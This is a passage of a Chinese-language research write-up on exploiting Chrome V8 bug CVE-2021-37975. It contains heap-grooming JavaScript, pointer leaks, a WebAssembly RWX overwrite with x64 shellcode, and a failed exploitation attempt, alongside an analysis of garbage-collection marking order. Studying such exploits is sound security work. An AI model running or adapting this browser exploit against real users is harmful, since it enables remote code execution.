	let result = await WebAssembly.instantiateStreaming(fetch(wasmUrl), {})
	let wasmFuncA = result.instance.exports.main;
	
	function getArrBufBucket(read64, slot) {
		let meta = getPartitionPageMetadataArea(leaked_arrbuf_ptr);
			const offsetBucket = BigInt(0x10);
			let bucket_0x10 = read64(meta + offsetBucket);
			return bucket_0x10;
	}
	
	function getFastMallocBucket(ArrBufBucket) {
		const bucket_delta = BigInt(0xb40);
		return ArrBufBucket - bucket_delta;
	}
	
	fastMallocBucket = getFastMallocBucket(
		getArrBufBucket(read64, leaked_arrbuf_ptr));
	
	reader_arr = [];
	
	let fileReaderLoaderSize = 0x140;
	
	let bucket_0x140 = getFastMallocBucketBySlotSize(read64, fastMallocBucket,
		fileReaderLoaderSize);
	
	const offsetActivePage = BigInt(0);
	
	let getActivePage = (bucket) => read64(bucket + offsetActivePage);
	let getFreeListHead = (bucket) => read64(getActivePage(bucket));
	

	// 因为 PartitionAlloc 又增加了一个 ThreadCache 缓存
	// 所以这部分读取 FileReaderLoader 地址的代码,和 CVE-2019-13720 相比有一些区别
	
	let cur = BigInt(0);
	
	function ConsumeSlot() {
		reader_arr.push(new FileReader);
		reader_arr[reader_arr.length - 1].readAsArrayBuffer(new Blob([]));
		cur = getFreeListHead(bucket_0x140);
	}
	
	// 从 FastMallocPartition 读取 0x140 空闲内存链表头 
	// 循环是为了确保读到非 0 的链表头,实际作用未验证,也可以去掉
	let next_slot = BigInt(0);
	while (next_slot == 0) {
		ConsumeSlot();
		next_slot = cur;
	}

	// 消耗光 0x140 的 ThreadCache 
	// ThreadCache 消耗光后,就会去 PartitionRoot 申请新内存,PartitionRoot 的链表头
	// 就会发生变化
	while (cur == next_slot) {
		ConsumeSlot();
	}

	// 再次消耗光 ThreadCache
	// 确保之前被分配给 ThreadCache 的内存块,已经被分配到 FileReaderLoader 
	// allocate FileReaderLoader until cache is refilled
	let prev = cur;
	while (cur == prev) {
		ConsumeSlot();
	}
	
	let fileReaderLoaderPtr = next_slot;
	
	for (let i = 0; i < reader_arr.length; ++i) {
		reader_arr[i].onerror = wasmFuncA;
	}
	
	// alert(`predicted FileReaderLoader: (0x${next_slot.toString(16)})`);
	
	alert(reader_arr[0].onerror);
	const fileReaderLoader_client = BigInt(0x10);
	
	let fileReaderPtr = read64(
		fileReaderLoaderPtr + fileReaderLoader_client) - BigInt(0x80);
	
	const entries_1_eventListenerVec = BigInt(0x30);
	let vectorPtr = read64(fileReaderPtr + entries_1_eventListenerVec);
	let registeredEventListenerPtr = read64(vectorPtr);
	let eventListenerPtr = read64(registeredEventListenerPtr);
	let eventHandlerPtr = read64(eventListenerPtr + BigInt(0x28));
	let jsFunctionObjReferencePtr = read64(eventHandlerPtr + BigInt(0x8));
	
	let jsFunctionPtr = read64(jsFunctionObjReferencePtr) - BigInt(1);
	
	// alert(`jsFuntionPtr 0x${jsFunctionPtr.toString(16)}`);
	
	let base = jsFunctionPtr & BigInt(0xFFFFFFFF00000000);
	
	let sharedFuncInfoPtr =
		base + BigInt(low32(read64(jsFunctionPtr + BigInt(0x0C)))) - BigInt(1);
	// alert(`sharedFuncInfoPtr 0x${sharedFuncInfoPtr.toString(16)}`);
	
	let wasmExportedFunctionDataPtr =
	base + BigInt(low32(read64(sharedFuncInfoPtr + BigInt(0x4)))) - BigInt(1);
	// alert(`wasmExported 0x${wasmExportedFunctionDataPtr.toString(16)}`);
	
	let rwx_addr = read64(wasmExportedFunctionDataPtr + BigInt(0x4));
	
	alert(`RWX addr: (0x${rwx_addr.toString(16)})`);
	
	let shellcode = new Uint8Array([
	0x48, 0x31, 0xFF, 0x48, 0xF7, 0xE7, 0x65, 0x48, 0x8B, 0x58, 0x60, 0x48,
	0x8B, 0x5B, 0x18, 0x48, 0x8B, 0x5B, 0x20, 0x48, 0x8B, 0x1B, 0x48, 0x8B,
	0x1B, 0x48, 0x8B, 0x5B, 0x20, 0x49, 0x89, 0xD8, 0x8B, 0x5B, 0x3C, 0x4C,
	0x01, 0xC3, 0x48, 0x31, 0xC9, 0x66, 0x81, 0xC1, 0xFF, 0x88, 0x48, 0xC1,
	0xE9, 0x08, 0x8B, 0x14, 0x0B, 0x4C, 0x01, 0xC2, 0x4D, 0x31, 0xD2, 0x44,
	0x8B, 0x52, 0x1C, 0x4D, 0x01, 0xC2, 0x4D, 0x31, 0xDB, 0x44, 0x8B, 0x5A,
	0x20, 0x4D, 0x01, 0xC3, 0x4D, 0x31, 0xE4, 0x44, 0x8B, 0x62, 0x24, 0x4D,
	0x01, 0xC4, 0xEB, 0x32, 0x5B, 0x59, 0x48, 0x31, 0xC0, 0x48, 0x89, 0xE2,
	0x51, 0x48, 0x8B, 0x0C, 0x24, 0x48, 0x31, 0xFF, 0x41, 0x8B, 0x3C, 0x83,
	0x4C, 0x01, 0xC7, 0x48, 0x89, 0xD6, 0xF3, 0xA6, 0x74, 0x05, 0x48, 0xFF,
	0xC0, 0xEB, 0xE6, 0x59, 0x66, 0x41, 0x8B, 0x04, 0x44, 0x41, 0x8B, 0x04,
	0x82, 0x4C, 0x01, 0xC0, 0x53, 0xC3, 0x48, 0x31, 0xC9, 0x80, 0xC1, 0x07,
	0x48, 0xB8, 0x0F, 0xA8, 0x96, 0x91, 0xBA, 0x87, 0x9A, 0x9C, 0x48, 0xF7,
	0xD0, 0x48, 0xC1, 0xE8, 0x08, 0x50, 0x51, 0xE8, 0xB0, 0xFF, 0xFF, 0xFF,
	0x49, 0x89, 0xC6, 0x48, 0x31, 0xC9, 0x48, 0xF7, 0xE1, 0x50, 0x48, 0xB8,
	0x9C, 0x9E, 0x93, 0x9C, 0xD1, 0x9A, 0x87, 0x9A, 0x48, 0xF7, 0xD0, 0x50,
	0x48, 0x89, 0xE1, 0x48, 0xFF, 0xC2, 0x48, 0x83, 0xEC, 0x30, 0x66, 0x81,
	0xE4, 0xF0, 0xFF, 0x41, 0xFF, 0xD6
	]);
	
	writeN(rwx_addr, shellcode);
	
	try {
		wasmFuncA();
	} catch (e) {
	}
}

利用代码基本和 CVE-2019-13720 的相同,除了一些偏移量,主要的修改位于读取 FileReaderLoader 地址的部分,由于 PartitionAlloc 多了一个 ThreadCache 缓存,读取 FileReaderLoader 地址的方法发生了一些变化:

  • 每个线程都有一个独享的 ThreadCache 缓存,内存申请先从 ThreadCache 中查找大小合适的内存块。
  • 当 ThreadCache 中对应大小的内存块用完时,再去全局的 FastMallocPartitionRoot 申请多个内存块补充到 ThreadCache 中。

我只能读到 FastMallocPartitionRoot 的内容,不能确定 ThreadCache 的状态,所以是不能直接得出下一次申请的结果的。但这个问题解决起来也很简单,我多申请几次把当前的 ThreadCache 消耗光就可以了,ThreadCache 消耗光以后,当前 FastMallocPartitionRoot 中记录的下一块内存地址,就会被申请出来插入 ThreadCache 缓存链表的尾部。再次申请多个对象,把 ThreadCache 消耗光,就可以确保这个位于尾部的内存块已经被分配做 FileReaderLoader 了。

// partition allocator meta data

const superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
const superPageBaseMask = ~superPageOffsetMask;

function getPartitionPageMetadataArea(addr) {
  let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
  let pageMetadataSize = BigInt(0x20);
  let partitionPageMetadataPtr =
      getMetadataAreaBaseFromPartitionSuperPage(addr) +
      partitionPageIndex * pageMetadataSize;
  return partitionPageMetadataPtr;
}


function getMetadataAreaBaseFromPartitionSuperPage(addr) {
  let superPageBase = getSuperPageBase(addr);
  let systemPageSize = BigInt(0x1000);
  return superPageBase + systemPageSize;
}
function getSuperPageBase(addr) { return addr & superPageBaseMask; }

// 类型转换
	
const b = new ArrayBuffer(8);
let f64_arr = new Float64Array(b);
let u64_arr = new BigUint64Array(b);
let u32_arr = new Uint32Array(b);

function ftou(f64) {
  f64_arr[0] = f64;
  return u64_arr[0];
}

function utof(u64) {
  u64_arr[0] = u64;
  return f64_arr[0];
}

function high32(u64) {
  u64_arr[0] = u64;
  return u32_arr[1];
}

function low32(u64) {
  u64_arr[0] = u64;
  return u32_arr[0];
}

其他

影响漏洞触发的因素

这个漏洞不是必现的,这部分尝试分析影响漏洞复现因素,改进漏洞的稳定性,虽然最后是没找到方案,但是增加了对漏洞的了解。

如果要调试整个标记过程,工作量太大了,而且标记是多线程并行的,不太可行。可以利用 Visual Studio 的条件记录断点(tracepoint),在 Ephemeron 标记操作的关键点上记录日志,等标记完成后通过日志分析影响漏洞复现的因素。记录断点速度虽然比手工调试快,但跟无断点执行相比,速度还是要慢很多,也不能设置太多,我只在 MarkCompactCollector::ProcessEphemeronsMarkingVisitorBase<ConcreteVisitor, MarkingState>::VisitEphemeronHashTable 两个函数中选了几个关键位置,输出遍历 weak_objects.current_ephemeronsweak_objects.discovered_ephemeronsEphemeronHashTable 的过程。还要掌握好断点生效的时机,在 MarkRoot 完成后启用断点,在 Ephemeron 处理完成后禁用断点,防止日志中混入不相关的操作。每次收集完日志,可以在 Evacume 之前检查一下 map1 中存储的数据,如果看到仅一个指针所在的内存区域与其他指针不同,就是漏标的对象。


ℹ️NOTE: 被漏标的对象的指针还是指向 New Space 的,其他对象已经被移动到 Old Space ,所以它们指向的内存不在同一个区域。


带着日志断点反复执行多次,对比成功和失败的日志后。发现影响漏洞复现的因素是 m7 中 (k7 => k8),(k8 => m8) 两项的存储顺序。

MarkingVisitorBase<ConcreteVisitor, MarkingState>::VisitEphemeronHashTable 函数按存储的顺序遍历 m7 中的元素。

如果是先访问 (k8 => m8):

  • 此时 k8,m8 都是白色,把 k8 => m8 加入 discovered_ephemerons 集合。
  • 之后访问 (k7 => k8),k7 是黑色,k8 是白色,把 k8 标记为灰色,加入工作队列
  • VisitEphemeronHashTable 完成,返回到 DrainMarkingWorklist 继续处理 worklist,处理完成时 k8 被标记为黑色
  • 遍历 discovered_ephemerons,发现 (k8 => m8),k8 是黑色的,把 m8 标记为灰色,加入 worklist,满足了循环继续执行的条件。
  • 新一轮循环开始时,current_ephemerons 集合中就只剩下 (k9 => v9)一项,worklist 中剩下 m8 一项。
  • k9 还是白色,current_ephemerons 没变化
  • 处理工作队列:
    • 遍历 m8 的 EphemeronHashTable 时,发现 (k8 => k9),k8 为黑色,所以会把 k9 标记为灰色, 加入工作队列。
    • 从工作队列取出 k9 标记为黑色,工作队列处理完成
  • discovered_ephemerons 集合为空,无需处理。
  • current_epehemronsdiscovered_ephemerons 两个集合都没变化,循环结束,但其实 v9 还没有被标记。

如果是先访问 (k7 => k8):

  • k7 是黑色的,k8 是白色,所以把 k8 标记为灰色,加入 worklist
  • 再访问 (k8 => m8),k8 已经被标记为灰色了,m8 是白色,所以会把 m8 标记成灰色,加入 woklist
  • 返回到 DrainMarkingWorklist,继续处理 worklist 直到 worklist为空,其中比较关键的几个操作:
    • 处理 k8,把它标记为黑色,内部的 EphemeronHashTable 标记为灰色加入 worklist
    • 处理 m8 的 EphemeronHashTable,发现(k8 => k9),k8 是黑色,k9 是白色,把 k9 标记为灰色,加入 worklist
    • 处理 k9,把它标记为黑色
  • 新一轮循环,处理 current_ephemerons,这个时候集合中只有(k9 => v9)一项,k9 已经被标记为黑色了,所以这里会把 v9 标记成灰色,加入工作队列。
  • 继续处理工作队列:把 v9 标记成黑色
  • 新一轮循环,所有集合都为空无需任何操作,循环结束,存活对象都被正确标记了。

分析 JSWeakMap 的内部存储结构,发现它使用的是哈希表,哈希生成函数是 JSReceiver::CreateIdentityHash,它生成的哈希就是一个伪随机数,那么元素的存储顺序也随机的,我也没找到在插入元素后判断出元素的存储顺序的方法,看来是并不能提升这里的稳定性了。

不过还是有意外收获的,在调试的时候,可以去手动的修改对象的哈希值,增加漏洞复现的概率,从而减少调试工作量。


ℹ️NOTE: 水平所限,我没有分析伪随机数生成算法本身。


失败的尝试

在成功利用之前我其实还有一次失败的尝试,我觉得也很有必要记录下来,漏洞的分析和利用就是一个不断失败和修正的过程。

利用思路如下:

  • 申请一个 ArrayBuffer,触发 GC 把 ArrayBuffer 移动到 Old Space
  • 用 POC 中的方式触发漏洞,但是 v9 要替换成上一步申请的 ArrayBuffer
  • 每次漏洞触发后,要检查一下 ArrayBuffer 中存储的值,如果 UAF 成功了,可以读到 ArrayBuffer 释放后存储进去的 PartitionAlloc 元数据,如果利用失败,读到的是 0
  • 漏洞利用成功后,ArrayBuffer 指向的就是堆的空闲内存链表,下面就可以仿照 CVE-2019-13720 中记录的方案转化成任意内存读写了

把 v9 替换成 ArrayBuffer 后,利用代码变成:

function setUpWeakMap(map) {
	let o = new ArrayBuffer(8);
	//gc move o to Old space
	TrigerGc();
	%DebugPrint(o);

	let hk = hideWeakMap(map, level, initKey);
	let hiddenMap = map.get(hk);
	let map7 = new WeakMap();
	let map8 = new WeakMap();
	let k5 = {k5 : 5};
	let map5 = new WeakMap();
	let k7 = {k7 : 7};
	let k9 = {k9 : 9};
	let k8 = {k8 : 8};
	map.set(k7, map7);
	map.set(k9, o);
	hiddenMap.set(k5, map5);
	hiddenMap.set(hk, k5);
	map5.set(hk, k7);
	map7.set(k8, map8);
	map7.set(k7, k8);
	map8.set(k8, k9);
}

async function main() {
	setUpWeakMap(map1);

	TrigerGc();

	try {
		let hiddenKey = getHiddenKey(map1, level, initKey);
		let hiddenMap = map1.get(hiddenKey);
		let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
		let k8 = map1.get(k7).get(k7);
		let m8 = map1.get(k7).get(k8);
		let arrbuf = map1.get(m8.get(k8));

		try {
			%DebugPrint(arrbuf);

			if (!arrbuf)
				return;
				
			let maybe_free_entry = new BigInt64Array(arrbuf, 0, 1);
			let leak_value = maybe_free_entry[0];
			if (leak_value != 0 && leak_value != undefined) {
				alert(`0x${leak_value.toString(16)}`);
			}

		} catch (e) {
			alert(`${e.lineNumber}:${e.message}`);
		}

	} catch (e) {}
}

ℹ️NOTE: Chrome 启用 %DebugPrint 输出:Chrome.exe --js-flags="--allow-natives-syntax" --no-sandbox --enable-logging=stderr


这样确实可以读取到堆的元信息,下一步是要修改堆的元信息,使用 CVE-2019-13720 使用的利用技巧,构造出任意内存读写出的能力。

async function main() {
	setUpWeakMap(map1);

	TrigerGc();

	try {
			let hiddenKey = getHiddenKey(map1, level, initKey);
			let hiddenMap = map1.get(hiddenKey);
			let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
			let k8 = map1.get(k7).get(k7);
			let m8 = map1.get(k7).get(k8);
			let arrbuf = map1.get(m8.get(k8));

		try{
			%DebugPrint(arrbuf);
		
			if (!arrbuf)
				return;
		
			let maybe_free_entry = new BigUint64Array(arrbuf, 0, 2);
			let leak_value = maybe_free_entry[0];
			if (leak_value != 0 && leak_value != undefined) {
				next_slot = byteSwapBigInt(BigInt(leak_value));
				meta = getPartitionPageMetadataArea(next_slot);
		
		
				%DebugPrint(`0x${next_slot.toString(16)}`);
				%DebugPrint(`0x${meta.toString(16)}`);
		
				maybe_free_entry[0] = byteSwapBigInt(meta);
				maybe_free_entry[1] = ~ maybe_free_entry[0];
		
				%DebugPrint(`0x${maybe_free_entry[0].toString(16)}`);
				%DebugPrint(`0x${maybe_free_entry[1].toString(16)}`);
		
				alert(1);
				var keep = [];
				while (maybe_free_entry[0] != 0) {
					keep.push(new ArrayBuffer(0x10));
				}
		
				free_list_head = new ArrayBuffer(8);
				helper = new BigUint64Array(free_list_head);
				
				helper[0] = 0x00000000cccccccc;
				keep.push(new ArrayBuffer(8));
				
			}
		} catch (e) {
			alert(`${e.lineNumber}:${e.message}`);
		}

	} catch (e) {}
}

试了以后就发现,这个版本的 PartitionAlloc 增加了 FREELIST_HARDENING 特性,空闲内存块中除了空闲链表项,还额外存储了 8 字节作为校验值,这 8 字节存储了链表项的按位取反,因为我们只有实现了写任意/特定内存的能力才能修改链表头后面的 8 字节值的,所以不太可能绕过这个校验了。

参考

  • https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html
  • https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
  • https://v8.dev/blog/trash-talk
  • https://en.wikipedia.org/wiki/Cheney%27s_algorithm
  • https://en.wikipedia.org/wiki/Tracing_garbage_collection
  • https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/